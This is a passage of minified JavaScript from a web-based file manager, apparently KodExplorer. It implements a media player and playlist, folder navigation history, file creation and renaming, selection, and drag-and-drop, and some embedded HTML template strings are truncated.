i=e.parents(".jPlayer"),a={solution:t.solution,swfPath:G.static_path+"js/lib/jPlayer/jquery.jplayer.swf"};i.attr("id",UUID()),e.jPlayer("destroy"),e.find(".jPlayer-container").children().remove(),e.jPlayer(jPlayerConfigInit(i,a)),e.find("object").length>0?i.addClass("flashPlayer"):i.removeClass("flashPlayer"),e.jPlayer("setMedia",t),setTimeout(function(){e.jPlayer("play")},150),jPlayerBindControl(i),setTimeout(function(){var e=i.parents(".dialog-simple").find(".aui_titleBar").attr("id"),a=$.dialog.list[e];a&&a.title(t.title)},100)}},d=function(e,t){var i=s(t),n=r(i),d=l(e[0],t);n||(n=o(i),i==a&&p.init()),i==a&&(d=p.insert(n,e,t)),c(n,d);try{$.dialog.list[i+"_dialog"].display(!0)}catch(u){}},p=function(){var e=[],t=0,i=null,a="circle",n=function(a,n){i=a;for(var s=e.length,r=0;n.length>r;r++){var c=!1,d=0;for(d=0;e.length>d;d++)if(e[d].url==n[r]){c=!0;break}if(c){if(r==n.length-1)return t!=d&&o(d),!1}else{var p=core.pathExt(n[r]);inArray(core.filetype.music,p)&&e.push(l(n[r],p))}}return e.length==s?!1:(t=e.length-1,u(!0),e[t])},o=function(a){a=0>=a?0:a,a=a>=e.length-1?e.length-1:a,t=a;var n=e[a];c(i,n),u(!1)},s=function(i){switch(a){case"circle":"next"==i?e.length-1>t?o(t+1):o(0):0>t-1?o(e.length-1):o(t-1);break;case"rand":o(roundFromTo(0,e.length)-1);break;case"one":o(t);break;default:}},r=function(t){e.remove(t),o(t),u(!0)},d=function(t){var i=e[t],a=i.url+"&download=1";ui.pathOpen.downloadUrl(a)},p=function(){t=0,e=[],a="circle";var i=$(".jPlayer-music"),n=[{icon:"icon-retweet",loop:"circle"},{icon:"icon-random",loop:"rand"},{icon:"icon-refresh loop-one",loop:"one"}];i.find(".change-loop").unbind("click").bind("click",function(){var e=parseInt($(this).attr("data-loop"))+1;e=0>e?0:e,e=e>=n.length?0:e;var t=n[e];$(this).attr("data-loop",e).find("i").attr("class",t.icon),a=t.loop}),i.find(".play-backward").unbind("click").bind("click",function(){s("prev")}),i.find(".play-forward").unbind("click").bind("click",function(){s("next")}),i.find(".show-list").unbind("click").bind("click",function(e){i.parents(".music_player_dialog").toggleClass("hide-play-list"),stopPP(e)}),i.find(".play-list .item").die("click").live("click",function(e){var t=$(this).index();o(t),stopPP(e)}),i.find(".play-list .remove").die("click").live("click",function(e){var t=$(this).parents(".item"),i=t.index();return t.remove(),r(i),stopPP(e),!1}),i.find(".play-list .download").die("click").live("click",function(e){var t=$(this).parents(".item").index();return d(t),stopPP(e),!1})},u=function(a){var n=$(i).parents(".jPlayer");if(a){var o="";$.each(e,function(e,t){o+='
      • '+t.title+'
      • '}),n.find(".play-list .content").html(o)}return 0!=e.length&&e[t]?(n.find(".item-title").html(e[t].title),n.find(".item").removeClass("this"),n.find(".item:eq("+t+")").addClass("this"),f(n.find(".player-bg")),void 0):(t=0,n.find(".item-title").html("  "),i.jPlayer("destroy"),i.find(".jPlayer-container").children().remove(),void 0)},f=function(e){var t=h(),i=h(),a="160deg",n="background-image: -webkit-linear-gradient("+a+", "+t+", "+i+"); background-image: -moz-linear-gradient("+a+", "+t+", "+i+"); background-image: -o-linear-gradient("+a+", "+t+", "+i+"); background-image: -ms-linear-gradient("+a+", "+t+", "+i+"); background-image: linear-gradient("+a+", "+t+", "+i+");";e.attr("style",n)},h=function(){return"#"+(16777215*Math.random()<<0).toString(16)};return{insert:n,init:p}}(),u=function(a,o){var r=s(o);r==n?e.async(["lib/jPlayer/kod.flat/movie.html","lib/jPlayer/jquery.jplayer.min.js","lib/jPlayer/kod.flat/control.js","lib/jPlayer/kod.flat/style.css"],function(e){t=e,d(a,o)}):e.async(["lib/jPlayer/kod.flat/music.html","lib/jPlayer/jquery.jplayer.min.js","lib/jPlayer/kod.flat/control.js","lib/jPlayer/kod.flat/style.css"],function(e){i=e,d(a,o)})},f=function(t,i){e.async(["lib/jPlayer/jquery.jplayer.min.js"],function(){var e={solution:"html",swfPath:G.static_path+"js/lib/jPlayer/jquery.jplayer.swf",media:{title:"",mp3:t},ready:function(){i.jPlayer("setMedia",e.media).jPlayer("play")}};i.jPlayer("destroy").children().remove(),i.jPlayer(e)})};return{play:u,playSound:f}}),define("app/src/explorer/path",["../../common/pathOperate","../../common/pathOpen","../../common/myPlayer"],function(e){var t=e("../../common/pathOperate"),i=e("../../common/pathOpen"),a=void 0;ui.pathOpen=i;var n=function(){if(G.json_data.info.path_type==G.KOD_USER_RECYCLE||G.json_data.info.path_type==G.KOD_USER_SHARE)return!0;var e=ui.fileLight.fileListSelect();return e.hasClass("systemBox")?(Tips.tips(LNG.path_can_not_action,"warning"),!1):!0},o=function(e,t,i,a){if(void 0!=e){if("explorer"!=Config.pageApp)return core.explorer(e),void 0;if(e==G.this_path)return void 0!=t&&""!=t&&Tips.tips(LNG.path_is_current,"info"),void 0;if(G.this_path=e.replace(/\\/g,"/"),G.this_path=e.replace(/\/+/g,"/"),"/"!=G.this_path.substr(G.this_path.length-1)&&(G.this_path+="/"),$(".dialog_file_upload").length>0){var n="hidden"==$(".dialog_file_upload").css("visibility");core.upload(),n&&$(".dialog_file_upload").css("visibility","hidden")}if(G.sid!==void 0&&(window.location.href="#"+urlEncode(G.this_path)),core.playSound("folder_open"),ui.tree.setSelect(G.this_path),a||ui.path.history.add(G.this_path),"list_split"==G.user_config.list_type){var o=$(".split_box .file[data-path="+pathHashEncode(G.this_path)+"]");if(0!=o.length&&0!=o.find(".children_more_cert").length)return o.click(),void 0;$(".fileList_list_split .split_box").remove()}ui.f5Callback(function(){"function"==typeof i&&i()})}},s=function(){var e=[],t=60,i=0,a=function(a){var n=e.length-1;return n==i&&e[n]==a?r():(i!=n&&(e=e.slice(0,i+1)),e[e.length-1]!=a&&e.push(a),e.length>=t&&(e=e.slice(1)),i=e.length-1,r(),void 0)},n=function(){e.length-1>=i+1&&(o(e[++i],"","",!0),r())},s=function(){i-1>=0&&(o(e[--i],"","",!0),r())},r=function(){var t="disable",a=e.length-1;$("#history_next").addClass(t),$("#history_back").addClass(t),(0!=i||0!=a)&&(i>0&&a>=i&&$("#history_back").removeClass(t),i>=0&&i!=a&&$("#history_next").removeClass(t))};return{add:a,back:s,next:n,list:function(){return e}}}(),r=function(e){if(void 0!=e){"string"==typeof e&&(e=[e]);for(var t=0;e.length>t;t++)e[t]=trim(e[t],"/");ui.fileLight.clear(),ui.fileLight.fileListAll().each(function(){var t=trim(ui.fileLight.path($(this)),"/");t&&-1!=$.inArray(t,e)&&$(this).addClass(Config.SelectClassName)}),ui.fileLight.select(),ui.fileLight.setInView()}},l=function(e){if(""!=e){if(e=e.toLowerCase(),void 0==a||G.this_path!=a.path||e!=a.key){var t=[];ui.fileLight.fileListAll().each(function(){var i=ui.fileLight.name($(this)),a=ui.fileLight.path($(this));i&&e==i.substring(0,e.length).toLowerCase()&&t.push(a)}),a={key:e,path:G.this_path,index:0,list:t}}0!=a.list.length&&(r(a.list[a.index++]),a.index==a.list.length&&(a.index=0))}},c=function(e){return""==e?(ui.fileLight.clear(),void 0):(ui.fileLight.clear(),ui.fileLight.fileListAll().each(function(t){var i=ui.fileLight.name($(this));-1!=i.toLowerCase().indexOf(e)&&$(ui.fileLight.fileListAll()).eq(t).addClass(Config.SelectClassName)}),ui.fileLight.select(),ui.fileLight.setInView(),void 0)},d=function(e,t){var i=G.this_path+e;return void 0==t&&(i+="/"),0!=$('.bodymain .file[data-path="'+pathHashEncode(i)+'"]').length?!0:!1},p=function(e,t){var i,a=0,n="."+t;if(void 0==t&&(n=""),!d(e+n,t))return e+n;for(i=e+"(0)"+n;d(i,t);)a++,i=e+"("+a+")"+n;return i},u=function(e,i){var a,n=0,o=G.json_data.folderlist,s=G.json_data.filelist,r=o,l=G.user_config.list_sort_field,c=G.user_config.list_sort_order,d={name:e,size:0,ext:i,mtime:date("Y/m/d H:i:s",time())};for("desktop"==Config.pageApp&&(n+=$(".menuDefault").length+1),"file"==i?(d.ext=core.pathExt(e),r=s,"up"==c&&(n+=o.length)):"down"==c&&(n+=s.length),a=0;r.length>a;a++)if("down"==c){if(-1==t.strSort(r[a][l],d[l]))break}else if(-1!=t.strSort(r[a][l],d[l]))break;return a+n-1},f=function(i,a,n){ui.fileLight.clear();var o=u(a,i),s=$(Config.FileBoxSelector);"list_split"==G.user_config.list_type&&(s=$(".split_box.split_select").find(".content"));var r=e("./tpl/file_create.html"),l=template.compile(r),c=l({type:i,newname:a,ext:n,list_type:G.user_config.list_type});if(-1==o||0==s.find(".file").length)s.html(c+s.html());else{var p=s.find(".file:eq("+o+")");0==p.length&&(p=s.find(".file").last()),"list_split"==G.user_config.list_type&&(p=$(".split_box.split_select .file").last()),$(c).insertAfter(p)}var f=$(".textarea .newfile"),h=a.length;"folder"!=i&&-1!=a.indexOf(".")&&(h=a.length-n.length-1),f.textSelect(0,h),"list_split"==G.user_config.list_type&&f.css("width",f.parents(".filename").width()-40),"icon"==G.user_config.list_type?($("#makefile").css({height:$("#makefile").width()+15,"margin-left":"3px",transition:"none"}),$("#makefile .textarea").css("margin-top","-13px")):$("#makefile .x-item-file").addClass("small"),"desktop"==Config.pageApp&&ui.resetDesktopIcon();var _=function(e){if(""==trim(e))return $("#makefile").remove(),Tips.tips(LNG.error,"warning"),void 0;if(d(e,n))$("#makefile").remove(),Tips.tips(LNG.path_exists,"warning");else{var a=G.this_path;"list_split"==G.user_config.list_type&&(a=ui.fileLight.path($(".file_icon_edit").parents(".split_box"))),"folder"==i?t.newFolder(a+e,m):t.newFile(a+e,m)}};ui.fileLight.setInView($(".fileContiner .file_icon_edit")),f.focus().autoTextarea(),f.unbind("keydown").keydown(function(e){13==e.keyCode&&(stopPP(e),e.preventDefault(),_(f.attr("value"))),27==e.keyCode&&$("#makefile").remove()}).unbind("blur").blur(function(){_(f.attr("value"))})},h=function(){var e="",i=ui.fileLight.fileListSelect(),a=ui.fileLight.name(i),o=core.pathFather(ui.fileLight.path(i)),s=ui.fileLight.type(i);if(1==i.length&&n()){if(i.hasClass("menuSharePath"))return ui.path.shareEdit(),void 0;var r=htmlEncode(rtrim(a,".oexe")),l="";"icon"==G.user_config.list_type&&(l="",i.css({height:i.height()})),$(i).addClass("file_icon_edit").find(".title").html("
        "+l+"
        ");var c=$("#pathRenameTextarea");"list_split"==G.user_config.list_type&&c.css({width:c.parents(".filename").width()-32,height:c.parents(".filename").height()+1});var d=a.length;"folder"!=s&&-1!=a.indexOf(".")&&(d=a.length-s.length-1),s||0!=a.indexOf(".")?c.textSelect(0,d):c.textSelect(0,a.length);var p=function(n){if("oexe"==s&&(n+=".oexe"),n!=a)e=o+a,n=o+n,t.rname(e,n,m);else{var r=a;".oexe"==r.substr(-5)&&(r=r.substr(0,r.length-5)),$(i).removeClass("file_icon_edit").find(".title").html(htmlEncode(r))}};c.focus().autoTextarea(),c.keydown(function(e){13==e.keyCode&&(e.preventDefault(),stopPP(e),p(c.attr("value"))),27==e.keyCode&&("oexe"==s&&(a=a.replace(".oexe","")),$(i).removeClass("file_icon_edit").find(".title").html(a))}).unbind("blur").blur(function(){p(c.val())})}},m=function(e){ui.fileLight.clear(),ui.f5Callback(function(){r(e),"explorer"==Config.pageApp&&ui.tree.checkIfChange(G.this_path)})},_=function(e){if(e){var t=[];if(0==ui.fileLight.fileListSelect().length)return t;ui.fileLight.fileListSelect().each(function(){var e=ui.fileLight.path($(this)),i="folder"==ui.fileLight.type($(this))?"folder":"file";t.push({path:e,type:i})});for(var i="",a=[],n=0;t.length>n;n++){var o=t[n].path;(""==i||0!=o.indexOf(i))&&(i=o,a.push(t[n]))}return a}if(1!=ui.fileLight.fileListSelect().length)return{path:"",type:""};var s=ui.fileLight.fileListSelect(),r=ui.fileLight.path(s),l=ui.fileLight.type(s);return{path:r,type:l}},v=function(e,t){for(var i in G.json_data)if("filelist"==i||"folderlist"==i)for(var a=0;G.json_data[i].length>a;a++)if(G.json_data[i][a][e]==t)return G.json_data[i][a]};return{makeParam:_,history:s,getJsondataCell:v,checkSystemPath:n,appEdit:function(e){if(e)t.appEdit(0,0,"user_add");else{var i=ui.fileLight.fileListSelect().attr("data-app"),a=jsonDecode(base64Decode(i));a.path=ui.fileLight.path(ui.fileLight.fileListSelect()),t.appEdit(a)}},appList:function(){t.appList(_().path)},appInstall:function(){t.appInstall(_().path)},openEditor:function(){i.openEditor(_().path)},openWindow:function(){var e=_();return"folder"==e.type&&-1!=core.path2url(e.path).search("explorer/fileProxy")?(Tips.tips(LNG.path_can_not_action,!1),void 0):(i.openWindow(e.path),void 0)},open:function(e){if("editor"==Config.pageApp)return i.open(e),void 0;if(void 0!=e)return i.open(e),void 0;if(0!=ui.fileLight.fileListSelect().length){var t=_(),a=ui.fileLight.fileListSelect();if(inArray(core.filetype.image,t.type))return ui.picasa.initData(),ui.picasa.play($(a).find(".picasaImage")),void 0;if(0!=$(a).find(".file_not_exists").length)return Tips.tips(LNG.share_error_path,!1),void 0;if("oexe"==t.type){var n=a.attr("data-app");t.path=jsonDecode(base64Decode(n))}("list_split"!=G.user_config.list_type||"folder"!=t.type)&&i.open(t.path,t.type)}},play:function(){if(!(1>ui.fileLight.fileListSelect().length)){var e=[];ui.fileLight.fileListSelect().each(function(){var t=ui.fileLight.type($(this));if(inArray(core.filetype.music,t)||inArray(core.filetype.movie,t)){var i=core.path2url(ui.fileLight.path($(this)),!1);e.push(i)}}),i.play(e,"music")}},pathOperate:t,share:function(){t.share(_())},setBackground:function(){var e=core.path2url(_().path);ShareData.frameTop("",function(t){t.ui.setWall(e)}),ui.setWall(e),t.setBackground(e)},createLink:function(e){var i=_(),a=ui.fileLight.fileListSelect().last();i.name=trim(a.find(".filename").text()),t.createLink(i.path,i.name,i.type,e,m)},createProject:function(){t.createProject(_().path,m)},download:function(){var e=_(!0);1==e.length&&"file"==e[0].type?i.download(_().path):t.zipDownload(e)},shareEdit:function(){var e=v("path",_().path);try{var i=G.json_data.share_list[e.sid];t.shareBox(i)}catch(a){}},shareOpenWindow:function(){var e=v("path",_().path),t=e.type;"folder"==e.type&&(t=1==e.code_read?"code_read":"folder");var i="./index.php?share/"+t+"&user="+G.json_data.info.id+"&sid="+e.sid;window.open(i)},shareOpenPath:function(){var e=_(),t=v("path",e.path);if(!t||!G.json_data.share_list)return i.open(e.path,e.type),void 0;var a=G.json_data.share_list[t.sid],n=core.pathFather(a.path),o=core.pathThis(a.path);"folder"==a.type?ui.path.list(a.path,""):ui.path.list(n,"",function(){r(o)})},explorer:function(){core.explorer(_().path)},explorerNew:function(){window.open("index.php?/explorer&path="+_().path)},openProject:function(){core.explorerCode(_().path)},search:function(){core.search("",_().path)},fav:function(){var e=_(),i=ui.fileLight.fileListSelect().last();e.name=trim(i.find(".filename").text()),t.fav(e)},recycleClear:function(){t.remove([{type:"recycle_clear",path:""}],function(){ui.f5()})},remove:function(e){if(n()){var i=_(!0);G.json_data.info&&G.json_data.info.path_type==G.KOD_USER_SHARE&&G.json_data.info.id==G.user_id&&-1==trim(G.this_path,"/").indexOf("/")&&$.each(i,function(e){var t=v("path",i[e].path);void 0!=t&&(i[e].type="share",i[e].path=t.sid)}),t.remove(i,m,e)}},favRemove:function(){var e=$(".file.select .filename");e.each(function(i){var a=trim($(this).text());i!=e.length-1?t.favRemove(a,"",!0):t.favRemove(a,function(e){Tips.tips(e),ui.tree.refreshFav()},!0)})},copy:function(){n()&&t.copy(_(!0))},cute:function(){n()&&t.cute(_(!0),ui.f5)},zip:function(){t.zip(_(!0),m)},unZip:function(e){n()&&t.unZip(_().path,ui.f5,e)},cuteDrag:function(e){t.cuteDrag(_(!0),e,m)},copyDrag:function(e,i){t.copyDrag(_(!0),e,m,i)},copyTo:function(){core.api.pathSelect({type:"folder",title:LNG.copy_to},function(e){t.copyDrag(_(!0),e,m,!1)})},cuteTo:function(){core.api.pathSelect({type:"folder",title:LNG.cute_to},function(e){t.cuteDrag(_(!0),e,m)})},info:function(){t.info(_(!0))},past:function(){var e=G.this_path;"list_split"==G.user_config.list_type&&($containBox=$(".split_box.split_select"),1==$containBox.length&&(e=ui.fileLight.path($containBox))),t.past(e,m)},newFile:function(e){void 0==e&&(e="txt"),f("file",p("newfile",e),e)},newFolder:function(){f("folder",p(LNG.newfolder),"")},showFile:function(){var e="./index.php?share/file&sid="+G.sid+"&user="+G.user+"&path="+_().path;window.open(e)},rname:h,list:o,setSearchByStr:c,setSelectByChar:l,setSelectByFilename:r,clipboard:t.clipboard}}),define("app/src/explorer/tpl/file_create.html",[],"
        \n {{if list_type=='list'}}{{/if}}\n
        \n \n {{if type=='folder'}}\n
        {{\"folder\" | core.icon}}
        \n {{else}}\n
        {{ext | core.icon}}
        \n {{/if}}\n
        \n {{if list_type=='icon'}}\n \n {{else}}\n \n {{/if}}\n
        \n
        \n
        \n
        \n
        \n"),define("app/src/explorer/fileLight",[],function(){var e=$(),t=$(),i=function(){var e;e="list_split"!=G.user_config.list_type?$(".bodymain .fileContiner .file"):$(".bodymain .fileContiner .split_select .file"),t=e,f("clear"),n()},a=function(){var t=$(Config.SelectClass);e=t,t.length>1&&c(t),f("menufile"),o()},n=function(){if(G.json_data&&G.json_data.filelist){var e=G.json_data.filelist.length+G.json_data.folderlist.length;$(".file_select_info .item_num").html(e+LNG.folder_info_item)}},o=function(){var t="",i=0,a=e;0!=a.length&&(t=a.length+LNG.folder_info_item_select,a.each(function(){i+=parseInt($(this).attr("data-size"))}),0!=i&&(t=t+" ("+core.fileSize(i)+")")),$(".file_select_info .item_select").html(t)},s=function(t){var i=e;if(void 0==t&&i&&i.length>=1&&(t=$(i[i.length-1])),void 0!=t&&!t.inScreen()){var a=$(".bodymain");"list_split"==G.user_config.list_type&&(a=t.parent());var n=t.offset().top-a.offset().top-a.height()/2+a.scrollTop();a.stop(!0).animate({scrollTop:n},100)}},r=function(e){return core.pathThis(h(e))},l=function(e){return e.find(".ico").attr("filetype")},c=function(e){if(G.json_data.info)switch(G.json_data.info.path_type){case G.KOD_USER_RECYCLE:return;case G.KOD_USER_FAV:return e.removeClass("menuFavPath").addClass("menuFavPathMore"),void 0;case G.KOD_USER_SHARE:if(-1==trim(G.this_path,"/").search("/"))return e.removeClass("menuSharePath").addClass("menuSharePathMore"),void 0;case G.KOD_GROUP_ROOT_SELF:case G.KOD_GROUP_ROOT_ALL:return e.removeClass("menuGroupRoot").addClass("menuGroupRootMore"),void 0;default:}e.removeClass("menufile menufolder").addClass("menuMore"),f()},d=function(e){var t={fileBox:"menufile",folderBox:"menufolder",menuRecyclePath:"menuRecyclePath",menuSharePathMore:"menuSharePath",menuFavPathMore:"menuFavPath",menuGroupRootMore:"menuGroupRoot",menuDefault:"menuDefault"};e.removeClass("menuMore");for(var i in t)e.hasClass(i)&&e.addClass(t[i]);f()},p=function(){var t=[];if(0!=e.length)return e.each(function(){t.push(h($(this)))}),t},u=function(){if(0!=e.length){var t=e;t.removeClass(Config.SelectClassName),t.each(function(){d($(this))}),e=$(),f(),o()}},f=function(){0==e.length?($(".drop-menu-action li").addClass("disabled"),$(".drop-menu-action #past").removeClass("disabled"),$(".drop-menu-action #info").removeClass("disabled"),$(".kod_path_tool #download").addClass("disabled")):($(".drop-menu-action li").removeClass("disabled"),$(".kod_path_tool #download").removeClass("disabled"),e.length>1?$(".drop-menu-action").find("#open,#rname,#past,#share,#createLink,#add_to_fav").addClass("disabled"):$(".drop-menu-action").find("#open,#rname,#past,#share,#createLink,#add_to_fav").removeClass("disabled"))},h=function(e,t){return void 0==t&&(t="data-path"),void 0!=e.attr("data-path-children")&&(t="data-path-children"),pathHashDecode(e.attr(t))};return{init:i,name:r,path:h,type:l,fileListSelect:function(t){return t&&(e=t),e},fileListAll:function(e){return e&&(t=e),t},select:a,setInView:s,setMenu:c,resumeMenu:d,getAllName:p,clear:u,menuAction:f}}),define("app/src/explorer/fileSelect",[],function(){var e=!1,t=!1,i=!1,a=function(){$(Config.FileBoxClass).die("touchstart").live("touchstart",function(){$(this).hasClass("select")?ui.path.open():(ui.fileLight.clear(),$(this).removeClass("select"),$(this).addClass("select"),ui.fileLight.select())});var a=function(e){!e.hasClass(Config.TypeFolderClass)&&!e.hasClass("menuRecycleButton")||e.hasClass(Config.SelectClassName)||($(".selectDragTemp").removeClass("selectDragTemp"),e.addClass("selectDragTemp"))},l=function(){};$(Config.FileBoxClass).die("mouseenter").live("mouseenter",function(){t&&a($(this)),e||t||$(this).addClass(Config.HoverClassName),l($(this)),$(this).unbind("mousedown").bind("mousedown",function(e){if($(e.target).is("input")||$(e.target).is("textarea"))return!0;if($(this).focus(),rightMenu.hidden(),$(e.target).parents(".children_more").length>0)return ui.fileContent.pathChildrenTree($(this)),stopPP(e),!1;if(!(e.ctrlKey||e.metaKey||e.shiftKey||$(this).hasClass(Config.SelectClassName)))return ui.fileLight.clear(),$(this).addClass(Config.SelectClassName),ui.fileLight.select(),!0;if(3!=e.which||$(this).hasClass(Config.SelectClassName)||(ui.fileLight.clear(),$(this).addClass(Config.SelectClassName),ui.fileLight.select()),(e.ctrlKey||e.metaKey)&&($(this).hasClass(Config.SelectClassName)?i=!0:(ui.fileLight.setMenu($(this)),$(this).addClass(Config.SelectClassName)),ui.fileLight.select()),e.shiftKey){var t=h.fileListAll($(this)),a=h.fileListSelect($(this)),n=t.index($(this));if(0==a.length)x(0,n,t);else{var o=t.index(a.first()),s=t.index(a.last());o>n?x(n,s,t):n>s?x(o,n,t):x(o,n,t)}}return!0}).unbind("mouseup").bind("mouseup",function(){return $(".selectDragTemp").removeClass("selectDragTemp"),!0})}).die("mouseleave").live("mouseleave",function(){$(this).removeClass(Config.HoverClassName),t&&$(this).removeClass("selectDragTemp")}).die("click").live("click",function(e){return stopPP(e),t?!1:(0==$(this).find(".textarea").length&&0==$(".file-draging-box").length&&(e.ctrlKey||e.metaKey||e.shiftKey?(e.ctrlKey||e.metaKey)&&i&&(i=!1,ui.fileLight.resumeMenu($(this)),$(this).removeClass(Config.SelectClassName),ui.fileLight.select()):(ui.fileLight.clear(),$(this).addClass(Config.SelectClassName),ui.fileLight.select(),r($(this)))),void 0)}).die("dblclick").live("dblclick",function(e){if(!($(e.target).is("textarea")||$(e.target).is("input")||$(e.target).hasClass("children_more")||$(e.target).hasClass("children_more_cert")))if(e.altKey)ui.path.info();else{if(1!=ui.fileLight.fileListSelect().length)return;if("list_split"==G.user_config.list_type&&s($(this))){var t=ui.fileLight.path($(this));return G.this_path="",$(".fileList_list_split .split_box").remove(),ui.path.list(t),void 0}ui.path.open()}}),n(),o(),$(Config.FileBoxTittleClass).die("dblclick").live("dblclick",function(e){var t=$(this).parents(".file");return t.hasClass("systemBox"),ui.path.rname(),stopPP(e),!1})},n=function(){var e;$("#folderList a").die("mouseenter").live("mouseenter",function(){if(t){$(this).hasClass("menuTreeFolder")&&$(this).addClass("curDropTreeNode"),clearTimeout(e),e=!1;var i=ui.tree.zTree(),a=i.getNodeByTId($(this).parent().attr("id"));!a.open&&a.isParent&&(e=setTimeout(function(){i.expandNode(a,!0)},600))}}).die("mouseup").live("mouseup",function(){if(t){$(this).removeClass("curDropTreeNode"),clearTimeout(e),e=!1;var i=ui.tree.zTree(),a=i.getNodeByTId($(this).parent().attr("id"));setTimeout(function(){a.isParent=!0,i.reAsyncChildNodes(a,"refresh")},100)}}).die("mouseleave").live("mouseleave",function(){t&&($(this).removeClass("curDropTreeNode"),clearTimeout(e),e=!1)})},o=function(){$(".header-middle .yarnlet a").die("mouseenter").live("mouseenter",function(){t&&$(this).addClass("curDropToPath")}).die("mouseup").live("mouseup",function(){t&&$(this).removeClass("curDropToPath")}).die("mouseleave").live("mouseleave",function(){t&&$(this).removeClass("curDropToPath")})},s=function(e){return"icon"==G.user_config.list_type?e.hasClass("folderBox")||e.hasClass("menuRecycleButton")?!0:!1:"list"==G.user_config.list_type?e.hasClass("folderBox")||e.hasClass("menuRecycleButton")||0!=e.find(".children_more_cert").length?!0:!1:"list_split"==G.user_config.list_type?e.hasClass("folderBox")||e.hasClass("menuRecycleButton")||0!=e.find(".children_more_cert").length?!0:!1:void 0},r=function(e){if("list_split"==G.user_config.list_type&&s(e)&&1==ui.fileLight.fileListSelect().length){var t=ui.fileLight.path(e);ui.path.history.add(t),ui.fileContent.pathChildrenSplit(t,function(){c(t)})}},l=function(){var e=".fileList_list_split .split_box",t="split_hover";$(e).live("mouseenter",function(){$(e).removeClass(t),$(this).addClass(t)}).die("mouseleave").live("mouseleave",function(){$(this).removeClass(t)}).die("click").live("click",function(){c(ui.fileLight.path($(this)))}).die("mousedown").live("mousedown",function(e){var t=$(e.target).parents(".file");(0==t.length||0==t.find(".children_open").length)&&c(ui.fileLight.path($(this)))})},c=function(e){var t=$(".fileList_list_split .split_box"),i=$('.fileList_list_split .split_box[data-path="'+pathHashEncode(e)+'"]'),a=$('.fileList_list_split .split_box .file[data-path="'+pathHashEncode(e)+'"]'),n="split_select";0==i.length&&(i=t.last()),t.removeClass(n),i.addClass(n),0==ui.fileLight.fileListSelect().length&&a.addClass("select"),ui.fileLight.select();var o=i.data("jsonData");o&&e&&(ui.fileContent.pathTypeChange(o),G.this_path=e,G.json_data=o,ui.headerAddress.addressSet()),ui.fileLight.init()},d=function(e){return e.hasClass("menuSharePath")||e.hasClass("systemBox")?!1:!0},p=function(){var i,a,n,o=150,s=!1,r=!1,l=0,c=!1,p=-15,u=10,f=0,h=0,m="selectDragDraging";$(Config.FileBoxClass).die("mousedown").live("mousedown",function(t){if(!t.shiftKey){if(ui.isEdit())return!0;if(1!=t.which||e)return!0;i=$(this),d(i)&&(g(t),$.browser.mozilla||this.setCapture&&this.setCapture(),$(document).mousemove(function(e){b(e)}),$(document).keydown(function(e){b(e)}),$(document).keyup(function(e){b(e)}),$(document).one("mouseup",function(e){k(e),this.releaseCapture&&this.releaseCapture()}))}});var _,v,g=function(e){rightMenu.hidden(),t=!0,l=$.now(),f=e.pageY,h=e.pageX,a=$(document).height(),n=$(document).width(),r=$(e.target).parents(".file")},b=function(e){if(!t)return!0;if(window.getSelection?window.getSelection().removeAllRanges():document.selection.empty(),$.now()-l>o&&!c&&(w(),s=$(".draggable-dragging"),s.attr("data-beforeInfo",s.find("span").html())),c){var i=e.clientX>=n-50?n-50:e.clientX,r=e.clientY>=a-50?a-50:e.clientY;return i=0>=i?0:i,r=0>=r?0:r,i-=p,r-=u,s.css({left:i,top:r}),y(e),E(i-h+p,r-f+u),!0}},y=function(e){clearTimeout(_),_=!1,_=setTimeout(function(){try{x(e)}catch(t){}},10)},x=function(e){var t=e.ctrlKey||e.metaKey,i=function(e,t){G.sid!==void 0&&(e="none"),void 0!=t&&0!==t.search(G.KOD_GROUP_PATH)&&0!==t.search(G.KOD_USER_RECYCLE)&&core.isSystemPath(t)&&(e="clear");var i=htmlEncode(core.pathThis(t)),a=" "+s.attr("data-beforeInfo").replace(/<[^<>]+>/g,""),n={copy_to:''+LNG.copy_to+'"'+i+'"',move_to:''+LNG.cute_to+'"'+i+'"',remove:''+LNG.remove+a+"",share:''+LNG.share+a+"",none:''+LNG.no_permission_write+"",clear:s.attr("data-beforeInfo")};t==G.this_path&&(n.copy_to=''+LNG.clone+""),s.find("span").html(n[e]),s.attr("data-actionType",e),s.attr("data-actionPath",t)};if(0!=$(".selectDragTemp").length||0!=$(".curDropTreeNode").length||0!=$(".curDropToPath").length){var a=ui.fileLight.path($(".selectDragTemp"));if(0!=$(".curDropTreeNode").length){var n=ui.tree.zTree(),o=n.getNodeByTId($(".curDropTreeNode").parent().attr("id"));a=o.path}0!=$(".curDropToPath").length&&(a=$(".curDropToPath").attr("data-path")),$(".selectDragTemp").hasClass("menuRecycleButton")?i("remove"):t?i("copy_to",a):i("move_to",a)}else if(0!=$(".recycle_hover").length)i("remove");else if(0!=$(".share_hover").length&&1>=ui.fileLight.fileListSelect().length)i("share");else if(t){var a=G.this_path;"list_split"==G.user_config.list_type&&0!=$(".split_hover").length&&(a=ui.fileLight.path($(".split_hover"))),i("copy_to",a)}else"list_split"!=G.user_config.list_type||0==$(".split_hover").length||$(".split_hover").hasClass("split_select")?i("clear"):i("move_to",ui.fileLight.path($(".split_hover")))},k=function(){if(!t)return!1;if(t=!1,c=!1,$("body").removeClass(m),s){s.addClass("animated-300").addClass("flipOutXLine").fadeOut(200,function(){s.remove(),s=!1});var e=function(e,t){switch(e){case"copy_to":ui.path.copyDrag(t,!0);break;case"move_to":ui.path.cuteDrag(t);break;case"remove":ui.path.remove(!0);break;case"share":ui.path.share();break;default:}},i=s.attr("data-actionType");-1!=$.inArray(i,["copy_to","move_to","remove","share"])?z(!1):z(!0),e(i,s.attr("data-actionPath"))}},w=function(){$("body").addClass(m);var e=ui.fileLight.fileListSelect().length;$('
        '+e+'
        '+e+" "+LNG.file+"
        ").appendTo("body"),c=!0,setTimeout(j,20)},L=0,N=5,C=35,T=20,S=60,j=function(){clearTimeout($(".file-draging-box").data("removeDelay")),$(".file-draging .file").stop(),$(".file-draging-box").remove();var e={icon:"fileList_icon",list:"fileList_list",list_split:"fileList_list_split"},t=e[G.user_config.list_type];$("
